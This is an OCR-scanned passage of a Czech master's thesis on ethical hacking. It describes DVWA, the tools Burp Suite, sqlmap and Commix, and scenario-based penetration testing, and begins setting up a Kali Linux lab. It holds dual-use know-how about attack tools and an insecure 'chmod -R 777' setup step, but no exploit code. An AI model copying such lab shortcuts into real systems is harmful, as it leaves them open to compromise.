s cilem byt zamérné zranitelna. Byla navrzena primarné pro vzdélavaci ucely v oblasti
kybernetické bezpecnosti. (Bisson, 2023) Tato platforma je idealnim nastrojem pro
specialisty v oblasti kybernetické bezpecnosti a hackery, ktefi chtéji procvicit a rozsitit své
dovednosti v bezpecném a legalnim prostiedi. (Comptia, 2020) Umoziuje specialistim
v oblasti bezpecnosti testovat a zdokonalovat své dovednosti v legalnim a kontrolovaném

prostfedi. Navic je nastrojem pro webové vyvojare k lepSimu pochopeni bezpecnostnich
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praxi a zabezpeCeni webovych aplikaci. (Ken, 2023) Vzdélavacim institucim poskytuje
nastroj pro vyuku zabezpeceni webovych aplikaci. (Garcia, 2023)

DVWA byla navrzena tak, aby pokryla Sirokou skalu webovych zranitelnosti s riznymi
urovnémi obtiznosti, ato prostiednictvim uzivatelsky pfivétivého rozhranii. DVWA
obsahuje jak zdokumentované, tak nezdokumentované zranitelnosti, coz je zamérné, aby
uzivatelé mohli prohloubit své dovednosti v detekci a naprave. (Garcia, 2023) Obsahuje
razné typy zranitelnosti s riznymi stupni obtiznosti, coz uzivatelim umoziuje postupné
zvySovat urovenl svych schopnosti. Primarnim cilem je poskytnout bezpecnostnim
profesionalim platformu pro testovani a zdokonaleni jejich technik a nastrojli, zatimco
webovym vyvojafim pomaha Iépe rozumét a implementovat bezpecné postupy pii vyvoji
webovych aplikaci. (Bisson, 2023)

Prestoze je DVWA uziteCnym vzdélavacim nastrojem a je zamérné zranitelna, neméla by
tedy byt hostovana na vefejné dostupnych serverech nebo v jakémkoli prostfedi s pfistupem
k internetu, aby se predeslo realnym bezpeCnostnim rizikim. Nejlep§im postupem je
provozovani DVWA v izolovaném virtualnim prostiedi, napfiklad v nastrojich jako

VirtualBox ¢i VMware, s nastavenim na interni sitovy rezim. (Garcia, 2023)

3.3.3.1 Funkce DVWA

e DVWA poskytuje rozhrani pro simulaci riznych typti webovych zranitelnosti
s riznou urovni obtiznosti. (Tse, 2021)

e Resi zranitelnosti, jako je SQL Injection, kdy uto&nici mohou manipulovat s piikazy
SQL a ziskat tak pfistup k neautorizovanym datim. (Tse, 2021)

e DVWA ma také funkce souvisejici s ovéfovanim a spravou relaci, které jsou casto
nachylné k chybam, coz €ini systémy nachylnymi ke kompromitaci. (Whittly, 2020)

e Aplikace nabizi také vizualni privodce, protoze je k dispozici diagram znazoriujici,

jak spolu jednotlivé funkce komunikuji. (Whittly, 2020)
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3.4 Nastroje pro eticky hacking

Hackersky software a nastroje predstavuji soubor pocitaCovych aplikaci a skriptl
vyvinutych k identifikaci a vyuziti slabych mist v operacnich systémech, webovych
aplikacich, serverech a sitich. V dnesni dobé tada organizaci vyuziva nastroje etického
hackingu k posileni své kybernetické obrany a ochrané dat pred potencialnimi hrozbami.
Tyto nastroje mohou byt dostupné jako open-source feSeni nebo jako komeréni produkty.
Ackoli mohou byt legalné vyuzity pro defenzivni uclely, mohou byt také zneuzity k
Skodlivym utokim. (Simplilearn, 2023) Nastroje pro penetracni testovani jsou softwarové
aplikace a skripty ur€ené k identifikaci a vyuziti zranitelnosti v operaCnich systémech,
webovych aplikacich, serverech a sitovych infrastrukturach. (Williams, 2023)

Na trhu existuje §iroka skala nastroju, které umoznuji uzivatelim provadét etické hackovani
a ovérovat zabezpeceni svych systému. Zatimco nekteré z téchto nastroja jsou nabizeny jako
open-source feSeni, dostupné k bezplatnému stdhnuti a upravam, jiné jsou komercni
produkty poskytujici specifické vlastnosti a podporu. (Williams, 2023) Bezpecnostni experti
Casto vyuzivaji nastroje etického hackingu k analyze a zabezpeCeni IT infrastruktury.
Zatimco puvodné byly tyto systémy primarné ureny pro monitorovani sit€, nyni mohou byt
pouzity i pro fizeni firewallovych feseni, systému detekce pranikt (IDS), VPN, antivirovych
programu a filtrG proti spamu. (Simplilearn, 2023)

Mezi nejznamgéjsi nastroje v oblasti kybernetické bezpeCnosti patii Nmap, Nessus, Nikto,
Kismet, NetStumbler, Acunetix, Netsparker, Intruder, Metasploit Aircrack-Ng a dalsi.
(Simplilearn, 2023)

3.4.1 Volné dostupné nastroje pro eticky hacking

Mnoho nastroji, které kybernetiCti specialisté vyuzivaji, jsou dostupné zdarma v ramci
open-source licenci. K provadéni vétSiny penetraCnich testi a uatokl neni nutna
vysokovykonna hardwarova infrastruktura s vysokymi naklady. Obycejny notebook ¢i stolni
pocitac s adekvatnim mnozstvim paméti RAM, ulozistém a dostatecné rychlym procesorem
muize Casto plné postaCovat. Historie kybernetické bezpecnosti je plna pfibeéha
o jednotlivcich, ktefi s minimalnim rozpoctem dosahli vyznamnych uspéchti, ackoli se
kazdy musi sam rozhodnout, jakou kombinaci hardwaru a softwaru potrebuje pro své

konkrétni cile. (Norton, 2018 str. 24)
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3.4.2 Burp Suite

Burp Suite je pfedni nastroj v oblasti zabezpecCeni webovych aplikaci vytvoreny firmou
PortSwigger, ktery je Siroce vyuzivan specialisty na penetracni testovani a experty v oblasti
kybernetické bezpecnosti. (Portswigger, 2023) Jedna se o aplikaci zalozenou na proxy
serveru, coz umoziuje uzivatelim monitorovat a manipulovat komunikaci mezi webovym
prohlizeCem a cilovym webovym serverem. (Singh, 2022 str. 593)

V praxi penetracni tester pouziva Burp Suite jako prostiedek pro prihledné zachytavani
komunikace z webového prohlizeCe. Tim se otevira moznost upravovat rdzné cCasti
pozadavka predtim, nez jsou smérovany k cilové webové aplikaci, coz umoziiuje odhaleni
a vyuziti potencialnich zranitelnosti. (Singh, 2022 str. 593) Tato platforma kombinuje
nékolik nastroju, které pokryvaji cely spektrum testovaciho procesu od prvotni analyzy
a mapovani aplikace po identifikaci a vyuziti potencidlnich zranitelnosti. (Portswigger,
2023)

Vyvoj Burp Suite zapocal v roce 2004, kdy Dafydd Stuttard identifikoval potfebu vysoce
efektivniho néstroje pro penetracni testovani webovych aplikaci. Béhem nasledujicich 16 let
prosel tento software vyraznou evoluci, rozsifil své funkce a stal se esencialnim nastrojem
v arzenalu specialistd na kybernetickou bezpecnost. Dnes je Burp Suite uznavan jako predni
nastroj pro testovani zabezpeceni webovych aplikaci, a co vic, byl rozsifen o funkce, které
umoziuji analyzovat zranitelnosti v API a mobilnich aplikacich. (Rahalkar, 2021 str. 5)
Sada Burp Suite, pfedni nastroj pro testovani zabezpeCeni webovych aplikaci, nabizi tfi
razné edice prizpusobené riznym potifebam uzivateli: Community Edition pro bezplatné
vyuziti, profesionalni verze pro expertni penetracni testovani a podnikova edice nabizejici
automatizované skenovani a moznost integrace do CI/CD procesi. (Rahalkar, 2021 str. 5)
Diky svym rozsahlym schopnostem je Burp Suite Casto oznaCovan za prumyslovy standard
v oblasti penetracnich testl. (Portswigger, 2023). Ruzné varianty Burp Suite pokryvaji
Sirokou §kalu potieb — od novacka v oboru, pies odborniky az po korporatni segment. Tim
je zajisténo, ze kazdy uzivatel ziska nejlepsi dostupné nastroje pro svoje specifické potieby

v oblasti testovani zabezpeceni webovych aplikaci. (Rahalkar, 2021 str. 8)

3.4.2.1 Community Edition

Burp Suite Community Edition je bezplatna verze nabizejici zakladni néstroje pro penetracni
testovani webovych aplikaci. Tato edice je idealni pro ty, ktefi se teprve zacinaji seznamovat

s oblasti zabezpeceni aplikaci. Poskytuje uzivatelim zakladni prostfedky pro vstup do svéta
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testovani, v€etné proxy serveru pro monitorovani komunikace, opakovace pro upraveni
a odeslani pozadavkl a nastroju pro kédovani ¢i dekodovani dat. (Rahalkar, 2021 str. 7)
Sada Burp Suite funguje jako webovy proxy server. Balicek pracuje s webovym prohlizeCem
a penetracni tester zachycuje provoz mezi webovym serverem a prohlizeCem. VSechny tii
prvky mohou byt umistény na stejném pocitaci. (Cooper, 2023)

Community Edition nabizi hackerim a ostatnim uzivatelim snadny pfistup k funkcim pro
analyzu a vyzkum systému a umoziuje jim efektivné organizovat své pracovni postupy.
Uzivatelé maji také moznost kopirovat relevantni data z vyzkumné obrazovky do modulu
pro provedeni utoku. Mezi kliové nastroje patfi: (Jethva, 2023)

e Proxy: Engine zodpovédny za veskery vyzkum a pfipravu scénafi utoku. Ma
integrované procesory pro piresmerovani sitového provozu a provadéni analyz.

e Repeater: Umoziuje uzivatelim injektovat provoz do sité a nasledné testovat
aplikace na pfitomnost slabych mist. Umoziiuje také vytvareni a modifikaci HTTP
hlavicek dle specifikace.

e Decoder: Slouzi pro dekodovani Sifrovanych dat a pfevod zdrojovych dat do
pozadovaného formatu.

e Sequencer: Analyzuje shroméazdéna data s cilem detekovat nahodnost, kontroluje
vzor a hodnotu kazdé varianty v testovacich strategiich.

e Comparer: Vyuzivan k rozliSeni a srovnani odpovédi, které mohou byt komplexni

k dekodovani. (Jethva, 2023)

3.4.2.2 Professional Edition

Burp Suite Professional Edition je pro odborniky specializujici se na zabezpeCeni webovych
aplikaci. Tato edice nabizi rozsahlou sadu pokrocilych nastroju, které vyrazné€ zvysuji
efektivitu odhalovani zranitelnosti. (E-spin, 2021)Je to ideélni feseni pro profesionaly, ktefi
vyzaduji sofistikované prostiedky jak pro manualni, tak pro automatizované penetracni
testy. K pokroCilym funkcim patfi testovani zranitelnosti, moznost automatizovaného
skenovani zranitelnosti a integrovana rozsireni, sofistikované metody prolamovani ochran,
fuzzing, automaticka generace exploiti pro CSRF, clickjacking a dalSi. (Rahalkar, 2021
stranky 7-8)
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3.4.2.3 Enterprise Edition

Burp Suite Enterprise Edition je primarné zaméfena na korporatni sektor misto jednotlivych
specialistd. Tato verze je kliCova pro integraci bezpecnostniho skenovani do vyvojovych
pipelint aje navrzena pro organizace, které implementuji DevSecOps pristup. Ackoliv
nemusi mit stejnou $ifi manualnich testovacich nastrojii jako profesionalni edice, jeji
hodnota spociva v poskytovani automatizovanych feSeni pro zabezpeCeni vyvojovych

procest. (Rahalkar, 2021 str. 8)

3.4.3 Sqlmap

SQLmap je renomovany open-source nastroj uréeny k penetraCnimu testovani, ktery se
zaméfuje zejména na identifikaci a vyuzivani zranitelnosti SQL injection ve webovych
aplikacich. Pochazi z jazyka Python a je vytvofen tak, aby pomahal pifi odhalovani téchto
zranitelnosti a jejich pfipadném zneuziti. (Choudhary, 2023)

Hlavnim cilem nastroje SQLmap je automatizovat naro¢ny proces vyhledavani a zneuzivani
slabych mist SQL injection ve webovych aplikacich. Jeho automatizacni schopnosti
zefektiviiuji proces identifikace, ¢imz se stdva neocenitelnym piinosem pro testery, jejichz
cilem je urcit zranitelnost webové aplikace viici SQL injection. (Fagun, 2023)

Z funkcniho hlediska je SQLmap velmi vSestranny nastroj. Dokaze ovéfit, zda v systému
existuji zranitelnosti typu SQL injection. Kromé toho je schopen ziskat dilezité udaje, jako
jsou nazvy databazi, tabulek a sloupct, a v nékterych piipadech dokonce i pfistupové
poveéreni. Pokud jsou zji§téné zranitelnosti zavazné, SQLmap muZze dosahnout uplného

pristupu do systému. (Singh, 2018)

3.44 Commix

Commix je nastroj, zamétfeny na identifikaci a vyuziti zranitelnosti spojenych s injekci
piikazu, jez Casto vznikaji ve webovych strankach a aplikacich. Tato konkrétni zranitelnost
typicky postihuje webové aplikace ajeji ucinnost spociva v odhalovani slabych mist
v bezpec€nosti. (Shariq, 2022)

Commix je vytvoreny v programovacim jazyce Python a disponuje rozmanitymi moduly,
jez umoznuji uzivatelim aktivné vyhledavat potencialni slabiny v cilovych aplikacich. Pro
utok na danou URL vyuziva Commix rizné strategie, a to jak pomoci datovych fetézct, tak

i skrze HTTP hlavicky ¢i cookies, a to vCetné€ utokd na autentizacni parametry. V ramci
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Commixu maji uzivatelé pfistup k rozmanitym moznostem enumerace, coz zvysuje jeho
efektivitu pii analyze bezpecnosti. (Sharig, 2022)

Jednim z vyznamnych prvka Commixu jsou dvé odlisné techniky injekce ptikazi, pficemz
prvni z nich vyuziva vysledky, zatimco druha pracuje s tzv. slepou technikou injekce prikazi
(BlindSQL). Tato kombinace technik poskytuje uzivatelim Siroké moznosti pfi zkoumani
a vyuzivani potencialnich bezpecnostnich chyb. (Stasinopoulos, 2023) Commix, jako open-
source nastroj, je volné dostupny na platformeé GitHub, coz podporuje komunitni ptistup
kjeho wvyvoji azajiStuje transparentnost a sdileni znalosti v oblasti kybernetické

bezpecnosti. (Stasinopoulos, 2023)
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3.5 Testovaci scénare

Ve svéte softwarového testovani je klicové rozumét pojmu "testovaci scénar". Testovaci
scénai  obsahuje soubor testovacich pfipadd, at jiz manualné provadénych nebo
automatizovanych, ktery pomaha vyhodnotit funk¢nost a spolehlivost daného softwarového
feSeni. Poskytuje tak roadmapu pro tymy nebo uzivatele odpovédné za zajisténi kvality,
kterou by me¢li sledovat pii ovérovani softwaru. (Qamadness, 2023)

Primarnim ucelem testovaciho scénafe je zkontrolovat, jak cely systém reaguje na razné
uzivatelské vstupy a situace. Tester ma za ukol vcitit se do role koncového uzivatele, aby tak
mohl identifikovat a predvidat realné situace, s nimiz se software muze setkat po svém

nasazeni v provozu. (Qamadness, 2023)

3.5.1 Scénarové penetracni testovani

Penetracni testovani je Casto omezeno na specifické IT aktiva, naptiklad webové ¢i mobilni
aplikace, a nezaméfuje se celkové na IT infrastrukturu organizace. Tim padem nemuze
poskytnout komplexni pohled na veSkeré bezpecnostni rizika, ktera mohou vznikat
zruznych smérd. (ECQ, 2023) Penetrani testovaci scénafe jsou navrzeny k simulaci
realnych utokt na IT systémy ¢i sit€ s cilem odhalit potencialni zranitelnosti. Pti pfipravé
takového testovani je nezbytné nejprve stanovit rozsah a hlavni cile, specifikovat zaméreni
na konkrétni systémy a rozhodnout o metodologii testovani. Tester poté sbira relevantni
informace o testovaném cili, coz mu pomaha Iépe rozumét jeho fungovani a moznym slabym
mistim. (ptsecurity, 2017)

Scénarovy penetracni test se lisi od tradi¢nich penetracnich testi. Zatimco tradi¢ni testy se
typicky soustfedi na identifikaci zranitelnosti v konkrétnim a omezeném kontextu IT
prostredi, scénarové penetracni testy pokryvaji §irSi spektrum organizace a zamétuji se na
hodnoceni odolnosti a pfipravenosti organizace vici utokam, jak by se mohly vyskytnout
v realném svéte. (securify, 2022) Sluzba scénafového penetra¢niho testovani, kterou nabizi
spoleCnosti fesi tento nedostatek tim, Ze simuluje Gtoky jak z perspektivy vnéjSich Gtocnik,
tak z pohledu internich ¢i nepoctivych uzivateld. Vyuziva pfitom metod a postupu
skuteCnych kybernetickych hrozeb a sofistikovanych Gto¢nikt. Scénarové penetracni testy
tak poskytuji realisticky pohled na mozné utoky, kdy jsou simulace provadény dle
specifickych scénatt a jsou efektivngjsi z hlediska ¢asové narocnosti. (ECQ, 2023)

Na zakladé definovaného rozsahu a cili testovani lze poté vytvaret konkrétni testovaci

pfipady. Ty mohou simulovat riizné typy Gtokd — od vyuziti jiz znamych zranitelnosti po
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hledani novych slabych mist pomoci technik jako je fuzzing ¢i brute-force utoky. Specifické
testovaci scénafe jsou zavislé na cilech penetracniho testovani a charakteristikach
testovaného systému. Napftiklad testovani webové aplikace muze obsahovat scénafe
simulujici utoky typu SQL injection, cross-site scripting nebo zneuziti chyb v nahravani
soubort. (ptsecurity, 2017)

Pti vyuziti red teamu se simuluje postup konkrétniho kybernetického utocnika nebo skupiny
utoCniku, aplikujici se jejich specifické taktiky a metody. V ramci scénarového penetraniho
testu je mozné se zamérit na specificky utokovy scénar, pricemz muze dojit k preskoceni
nékterych krokt. Naptiklad, pokud je cilem provéfit zranitelnost konkrétniho serveru,
nemusi se provadét phishingovy utok, ale test mize zalit pfimo zkoumanim zabezpeCeni

tohoto serveru. (securify, 2022)

rwvo

3.5.2 Vyhody testovani podle scénaru

Ve srovnani s tradi€nimi penetracnimi testy, které se primarné€ zamétuji na identifikaci co
nejvice zranitelnosti, je scénafova metodologie testovani orientovana na hodnoceni
a srovnani efektivity kontrolnich mechanismi v oblasti kybernetické bezpeCnosti.
(honeyteksystems, 2023) Scénafové penetracni testovani je zameéteny pristup k ofenzivnimu
hodnoceni bezpecnosti. (Redscan, 2022)
Na rozdil od standardniho penetra¢niho testovani, které se orientuje na identifikaci
zranitelnosti, se scénafové testovani koncentruje na simulacni hodnoceni efektivity
bezpecnostnich opatieni vuéi specifickym taktikam a postupim potencialniho uto¢nika.
(Redscan, 2022)
Testovani na bazi scénaii je pokrocila a specializovana metoda ofenzivniho hodnoceni
kybernetické bezpecnosti s klicovymi otazkami, na které se snazi najit odpovéedi
(honeyteksystems, 2023):
e Jak uspésné nase bezpeCnostni opatteni Celi, detekuji a reaguji na hrozby?
e Existuji vnasem zabezpeCeni oblasti, které by mohly byt terem zkuSenych
utocnik?
e Mohou nasi bezpecnostni experti z tymu Blue Team efektivné odolat pokrocilym
hrozbam?
e Dokazou nasi analytici spravné identifikovat autentické bezpecnostni incidenty
a odlisit je od falesnych poplachi?

e Jsou vytvoreny a spravné aplikovany postupy reagovani na bezpecnostni udalosti?
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3.5.3

Disponuji nase interni bezpecnostni tymy potiebnymi znalostmi a dovednostmi pro
feSeni a napravu incidenti? (Redscan, 2022)

Jaka je ucinnost a spravna konfigurace nasich monitorovacich systému ve vztahu
k detekci a prevenci?

Existuji v naSem zabezpeceni slaba mista, jez by mohli vytrvali ito¢nici vyuzit?
Disponuji analytici z "modrého tymu" potfebnymi schopnostmi k identifikaci
a odrazeni pokrocilych utoka?

Dokéazou bezpecnostni analytici spolehlivé rozeznat mezi skutenymi hrozbami
a faleSnymi poplachy?

Existuji ajsou radné implementovany postupy reakce na incidenty, zahrnujici
eskalaci detekovanych hrozeb a feSeni moznych naruseni?

Maji vnitini bezpe€nostni tymy esencialni znalosti a dovednosti pro feSeni a napravu

incident? (honeyteksystems, 2023)

Tvorba

Pro efektivni sestaveni testovacich scénarl je zasadni ditkladna analyza a porozumeéni vSem

relevantnim dokumentim, vCetn€ funk¢nich a technickych specifikaci. (Coursera, 2023) S

detailnim prehledem pozadavkl lze identifikovat klicové funkce a potencialni uzivatelské

interakce podle specifikaci. Tyto izolované funkce tvofi zdklad pro dalsi vytvareni

testovacich scénara. (Fruhlinger, 2021)

Vizualni reprezentace aplikace poskytuje jasnéjsi kontext, coz mize vyrazn€ podpofit tvorbu

komplexn¢jSich a vice krycich testovacich scénart. Takovy pristup zaroven zajistuje, ze

kazdy sestaveny testovaci scénai odpovida specifikovanym pozadavkim. (Olaogun, 2023)
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3.6 Komparace

Komparativni neboli srovnavaci metoda, pfedstavuje vyzkumnou strategii zaméfenou na
analyzu riznych aspekti rlznych jevi za ucelem identifikace podobnosti, rozdila
a zakonitosti. Aplikuje se k oveéfovani hypotéz, charakterizaci jevu, klasifikaci, typologizaci
a zkoumani historickych a kontextualnich promén. Efektivni vyuziti této metody
predpoklada teoretickou a metodologickou zpusobilost. (Linhart, a dalsi, 2017)

Podle autora clanku software testing je pro testera jakéhokoliv softwaru nejdilezitéjsi
zajistit, aby vysledky testt odpovidaly ocekavanému chovani systému. Faktory, jako jsou
konfigurace, data, zatéz a zavislosti, vSak mohou vysledky zkreslit. (2023) Zprava o testu
zobrazuje shrnuti zpravy a vysledky porovnani se zvyraznénim uspé$nych a neuspésnych

testovacich ptipadu. (Oracle, 2016)

3.6.1 Postup komparace

e Stanoveni cilt testovani: Pfed zahajenim je nezbytné zdokumentovat cile. Je nutné
si polozit otazky. Jaky je hlavni cil testi? Mélo by byt mozné urcit funkcni
i nefunk¢ni pozadavky. Kromé toho je zasadni stanovit metriky kvality a vykonnosti.
(Software Testing, 2023)

e Zakladni asrovnavaci uroven: Aby bylo mozné provadét smysluplnd hodnocent,
meélo by se stanovit zakladni linie, ktera predstavuje pozadovany stav systému na
zakladé pozadavkid. (Software Testing, 2023) Pouziti vychoziho i srovnavaciho
stavu pomuze piesné urCit nesrovnalosti a zjistit jejich pfi¢iny. (Coursera, 2023)

e Vyuziti vhodného nastroje: Volba nastroju, které souzni s cili testovani, muze byt
ptinosna. Tyto néstroje, at’ uz pro automatizaci testovani, analyzu dat nebo reporting,
by mély napomoci efektivnimu sbéru a interpretaci vysledku testovani. Takové
nastroje nejen zefektiviiuji proces testovani, ale také nabizeji vyuzitelné poznatky
a zajistuji kvalitu aplikace. (Software Testing, 2023)

e Konzistentni testovaci dat: Variabilita testovacich dat a pfipadi muze zpusobit
zna¢né nesrovnalosti ve vysledcich. Proto je zasadni udrzovat konzistenci
testovacich dat a pfipadd v testovacim i produkénim prostfedi. Tato konzistence
zajistuje, ze ziskané vysledky jsou srovnatelné, a snizuje moznost vzniku anomalii.

(Software Testing, 2023)
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Kontrolni testovaci proménné: Razné prvky, od konfigurace systému a sitovych
podminek az po chovani uzivatel, mohou zasadné ovlivnit vysledky testd. Je
nezbytné zajistit, aby v testovacim i1 produkénim prostfedi byly zachovany podobné
podminky. Tim lze omezit vliv vnéjSich rusivych vliva a zajistit, ze vysledky testt

zustanou konzistentni. (Software Testing, 2023)
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4 Vlastni prace

V praktické ¢asti se diplomova prace zaméfuje na podstatu etického hackingu a ochrany
webovych aplikaci. Po teoretickém pozadi a odborném literarnim piezkumu z predchozich
Casti nasleduji konkrétni kroky a postupy, které byly definovany v zadani prace.

Zacind se vytvorenim specifikovaného testovaciho prostfedi, coz je kliCovy krok pro
zajisténi dukladnych a standardizovanych vysledkt. Nasledné se zabyva procesem vybéru
a navrhu testovacich scénait, které byly zvoleny na zaklad€ identifikovanych zranitelnosti
aplikace a relevantni literatury. Dale se prace zaméfuje na aplikaci t€chto scénait, konkrétni
provedeni testt ajejich nasledné vyhodnoceni. Na zakladé ziskanych dat jsou navrzeny
zpusoby, jakymi 1ze webové aplikace nejlépe chranit pred rozpoznanymi utoky.

V zavérecné fazi se nachazi komplexni zhodnoceni riznych zplsobti ochrany webovych
aplikaci, aby bylo mozné vybrat a doporucit nejefektivnéjsSi metody ochrany. Toto
hodnoceni poskytuje pevny zaklad pro zavéreéné doporuceni, které vychazi z naméfenych

vysledki a provedenych testi.

4.1 Tvorba prostredi

Zalina se vybérem vhodného virtualniho prostfedi, kde volba padla na VirtualBox. Toto
rozhodnuti je odivodnéno nékolika kliCovymi faktory, vCetn€ jeho uzivatelské privétivosti,
kompatibility a schopnosti vytvaret izolované virtualni stroje. V této Casti jsou také zakladni
informace o tomto nastroji a jeho vyznamu pro testy.

Nasleduje instalace a konfigurace operacniho systému Kali Linux. Tento OS je zvolen pro
jeho Sirokou Skalu nastrojii pro penetracni testovani a zabezpeCeni. KliCové nastaveni
operacniho systému je detailné popsano, aby bylo zajisténo, ze vSe bude fungovat optimalné
pro testovaci ucely. Dale tato Cast popisuje proces instalace a nastaveni testovaci aplikace
DVWA. Tato aplikace je zvolena pro jeji specializaci na etické hackingové testy a je detailné
nastavena v ramci Kali Linuxu pro optimalni vykon.

V zavéreCné Casti jsou dulezité aspekty zabezpeCeni testovaciho prostiedi. Je nezbytné
zajistit, aby hostitelsky pocitac zistal v bezpeci pii provadéni téchto testl, a proto jsou zde

popsany kroky, které byly podniknuty k zajisténi tohoto bezpeci.
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4.1.1 Volba virtualniho prostredi

Jak bylo zminéno v teoretické Casti, VirtualBox je oblibeny nastroj pro virtualizaci, ktery je
navic open-source. Pro tcely etického hacking a testovani je virtualizace obzvlasté vhodna.
VirtualBox poskytuje izolované prostiedi, coz znamena, ze vS§echny akce provadéné v ramci
virtualniho stroje nemaji vliv na hlavni operacni systém. Toto je pokladano za klicové pri
praci s potencialné skodlivym kodem nebo pfi testovani nebezpecnych aplikaci. Verze
VirtualBoxu béhem testovani byla verze 7.0.10, jehoz rozhrani lze vidét na obrazku 1.
Pokud se néco pokazi béhem testovani, VirtualBox umoziuje snadnou obnovu virtualniho
stroje do puvodniho stavu. Toto je idealni pro experimentovani, protoze pak mizi obavy
z trvalych nasledkt. Kromé toho VirtualBox podporuje Sirokou Skalu operacnich systému
a je dostupny na mnoha platforméch, coz z néj Cini univerzalni feseni.

Oproti jinym virtualnim emulatorim, jako jsou VMware nebo Microsoft Hyper-V, nabizi
VirtualBox jednoduchost a uzivatelskou piivétivost diky svému intuitivnimu rozhrani. Déle
ma za sebou silnou online komunitu, ktera je pfipravena poskytnout pomoc, navody nebo
feSeni raznych problémi. A kone¢né, vyznamnou vyhodou je skvéla integrace s Kali
Linuxem, coz je jednim z nejoblibenéjsich nastroji pro eticky hacking. VirtualBox nabizi
predpiipravené obrazy pro tento operacni systém, coz usnadiuje jeho instalaci a nastaveni.
Vzhledem k vSem témto vlastnostem a vyhodam je VirtualBox Casto preferovanou volbou

pro etické hackery a vyzkumniky v oblasti bezpecnosti.

§# Oracle VM VirtualBox Spravce - ] X
Soubor Pottal Napovéda

My ) 2N

Jud Tools itwl} L_IJ wd \_</ v

. Novy Pfidat Nastaveni Zahodit Spustit
- & M ns

?—\ kali-linux-2023.3-virtualbox-amd64 [ m— e R

4 () vypnuto A= Name: kali-linux-2023.3-virtualbox-amde4
Operacni systém: Debian (64-bit)
[&] systém
Operaéni pamét’: 2048 MB kali-linux-2023.3-
Procesory: 2 =
Pofadi pfi bootovani: Pewny disk, Optické wrtualbox-amd64
Akcelerace Ffimy pristup k hardusare, PAE/NX, KVM paravirtualizace
M pisplay
Video pamét: 128 MB
Graphics Controller: VMSVGA
Vzdéleny server: Disabled
Recording: Disabled
2] dlozEs
Radi: IDE
_IDE sekunddrni master: [Opticky disk] Zadny
Radié: SATA

SATA port 0: kali-linux-2023.3-virtualbox-amdé4.vdi (Normalni, 80,09 GB)
L Zvuk
Ovladat hostitele: Windows DirectSound
Radic: ICH AC97
m sit’
Karta 1: Intel PRO/1000 MT Desktop (NAT)
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Obrazek 1: Prostiedi VirtualBoxu, Zdroj: Viastni
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4.1.2 Instalace a konfigurace operacniho systému Kali Linux

V ramci diplomové prace bylo rozhodnuto vyuzit operacni systém Kali Linux, konkrétné
verzi 2023.3. Volba tohoto operacniho systému byla motivovana jeho rozsahlym souborem
nastroji specializovanych na bezpecCnostni testovani a penetracni zkousky, coz jej Cini
idealnim kandidatem pro ucely této diplomové prace. Podrobné§i informace
o charakteristikach a vyhodach Kali Linuxu jsou popsany v teoretické ¢asti prace.

Spravna instalace a konfigurace operacniho systému jsou klicové pro dosazeni optimalniho
vykonu abezpecnosti, zejména v kontextu testovani webovych aplikaci a analyzovani
zranitelnosti. V nasledujicich krocich je popsan postup instalace a doporucené nastaveni pro

Kali Linux 2023.3 ve virtualnim prostfedi.

4.1.2.1 Konfigurace

Pti konfiguraci virtualniho prosttedi je jednim z klicovych parametri alokace paméti RAM.
Pro optimalni vykon operacniho systému Kali Linux je dilezité zohlednit dostupné mnozstvi
paméti RAM v hostitelském pocitaci. Oficialni dokumentace Kali Linuxu doporucuje pro
zakladni provoz alespoin 1 GB RAM. AvSak pro komplexni bezpecnostni analyzy
a vykonngjsi operace je vhodné alokovat vétsi mnozstvi paméti, v pifipadé mého poctu RAM
16 GB je idealni alokovat az 4 GB viz. obrazek 2.

Pokud se béhem provozu objevi zndmky nedostate¢né paméti, jako je zpomaleny vykon
nebo nestabilita systému, doporucuje se pridélit vice RAM. Nicméné je dulezité dbat na to,
aby bylo stale dostatecné mnozstvi paméti ponechano pro hostitelsky operacni systém, aby

nedoslo k jeho zpomaleni nebo nestabilite.
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Enable Secure Boot

Reset Keys to Default

Zrusit Napovéda

Obrazek 2: Upraveni mnozstvi paméti RAM, Zdroj: Viastni

Dal§im krokem v optimalizaci nastaveni virtualniho prostfedi je konfigurace procesorovych
jader. I kdyz Kali Linux je schopen bézet stabiln€ 1 na jednom procesorovém jadie, pro
naro¢néjsi ulohy a hladky multitasking je vyhodné ptidélit vice jader. Timto nastavenim lze
zajistit, ze systém bude reagovat pruznéji na vice vlaknové operace a zlepsi se celkovy

vykon. Nastaveni procesoru lze vidét na obrazku 3.
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Obrdzek 3: Upraveni mnoZstvi procesoru, Zdroj: Viastni

Po uspéSném startu operacniho systému Kali Linux systém, jehoz rozhrani lze vidét na
obrazku 4, vyzve k zadani uzivatelského jména. Vychozi uzivatelské jméno pro tento
operacni systém je "kali". Heslo je na tom obdobnég, tedy opét "kali". Toto vychozi nastaveni
je urCeno pro zakladni pouzivani, avSak pro bézny provoz je dirazné doporuceno zménit

heslo z divodi bezpecnosti.

HINTIREINUK

"the quieter you become, the more you are able to hear"

Obrazek 4: Operacni systém Kali Linux, Zdroj: Viastni
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4.1.3 Testovaci aplikace

Inicializace projektu probihala stahovanim zdrojového koédu aplikace DVWA z jejiho
oficialniho repositate na GitHubu. K tomu byl vyuzit systém Git s piikazem git clone ve
znéni: https://github.com/digininja/DVWA.

Nasledovala alokace piistupovych prav pro slozku DVWA za ucelem zajisténi adekvatnich
operaci nad soubory. Toto bylo provedeno terminalovym pfikazem chmod -R 777 dvwa/.
Konfiguracni soubor config.inc.php byl nasledné upraven tak, aby reflektoval specifické
parametry. Pfedev§im specifikovani uzivatelského jména a hesla pro aplikaci, jak je vidét na
obrazku 5. V tomto ptipadé byl pouzit ptikaz: sudo nano config.inc.php.

kali@kali: /var/www/html/dvwa/config
File Actions Edit View Help

Database variables
WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setuﬂ
Please a database dedicated to DVWA.

If you are using MariaDB then you cannot root, you must create a dedicated DVWA E
See README.md more information on this.
- Yz
("DB_SERVER') ?:

[T T T TR ]

ReCAPTCHA settings
Used the 'Insecure CAPTCHA' module

You'll need to generate your own keys at: https://www.google.com/recaptcha/admin

[ 're

[ 'recaptcha_j e_key ;

key' ] ;

Default security level
Default value the security level with each session.
The is i 2'. You may wish to set this to either 'low’', 'medium’, h)th
[ 'default_security_le l' ] = '"impossible’;

Default locale
Default locale the help page shown with each session.
The is 'en'. You may wish to set this to either ‘en'
[ 'default_locale' ] = 'en';

# Disable authentication
e Help B8 write Out Bl Where Is Bl Cut Bl Execute WS Location
B Exit Bl Read File Bl Replace il Paste B Justify Wi Go To Line

Obrazek 5: Nastaveni prihlasovacich tidajii

